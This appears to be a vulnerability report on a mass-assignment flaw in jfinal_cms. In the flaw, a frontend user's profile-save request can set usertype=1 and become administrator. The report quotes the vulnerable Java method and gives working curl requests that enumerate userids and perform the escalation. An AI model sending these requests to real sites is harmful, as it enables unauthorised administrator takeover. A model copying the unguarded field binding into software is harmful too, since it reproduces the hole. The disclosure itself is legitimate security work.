Any frontend account can be escalated to administrator privileges

[chenppxx]

A vulnerability exists in the personal information modification function for frontend users in jfinal_cms. A frontend account can directly escalate its privileges to administrator.

Vulnerable Code

The save() method in src/main/java/com/jflyfox/modules/front/controller/PersonController.java:385-431
The reduced key code is as follows:

  /**
   * 个人信息保存
   */
  public void save() {
    SysUser user = (SysUser) getSessionUser();
    int userid = user.getInt("userid");
    SysUser model = getModel(SysUser.class);

    // Only checks whether the userid exists. If the userid does not match, it returns "Invalid submitted data!".
    // The userid can be brute-forced: 1,2,3...
    if (userid != model.getInt("userid")) {
      json.put("msg", "提交数据错误！");
      renderJson(json.toJSONString());
      return;
    }

    if (user.getInt("usertype") != 4) {
      String oldPassword = getPara("old_password");
      String newPassword = getPara("new_password");
      String newPassword2 = getPara("new_password2");
      if (!user.getStr("password").equals(JFlyFoxUtils.passwordEncrypt(oldPassword))) {
        json.put("msg", "密码错误！");
        renderJson(json.toJSONString());
        return;
      }
      if (StrUtils.isNotEmpty(newPassword) && !newPassword.equals(newPassword2)) {
        json.put("msg", "两次新密码不一致！");
        renderJson(json.toJSONString());
        return;
      } else if (StrUtils.isNotEmpty(newPassword)) { // 输入密码并且一直
        model.set("password", JFlyFoxUtils.passwordEncrypt(newPassword));
      }
    }

    // Passing usertype=1 here can escalate privileges to administrator
    model.update();
    UserCache.init(); // 设置缓存
    SysUser newUser = SysUser.dao.findById(userid);
    setSessionUser(newUser); // 设置session
    json.put("status", 1);// 成功

    renderJson(json.toJSONString());
  }

In the personal information modification function, the critical authorization field usertype can be directly changed to 1 to escalate privileges to administrator. The attacker only needs to first brute-force the correct userid.

Reproduction Steps

Step 1: Register/obtain a frontend account
After successful registration, log in and obtain a valid JSESSIONID.
Step 2: Enumerate the current user's userid based on response differences
curl -s -b "JSESSIONID=<your_session>"
-X POST "http:///jfinal_cms/front/person/save"
--data-urlencode "model.userid=1"
--data-urlencode "model.usertype=1"
--data-urlencode "old_password=wrong_oracle_value"
// Response {"status":2,"msg":"提交数据错误！"} → userid does not match, continue
// Response {"status":2,"msg":"密码错误！"} → userid matches! Record this value
Step 3: Perform Mass Assignment privilege escalation
After finding the userid, send the request with the correct password and privilege escalation fields:
curl -s -b "JSESSIONID=<your_session>"
-X POST "http:///jfinal_cms/front/person/save"
--data-urlencode "model.userid=<your_userid>"
--data-urlencode "model.usertype=1"
--data-urlencode "model.departid=1"
--data-urlencode "model.state=1"
--data-urlencode "old_password=<your_correct_password>"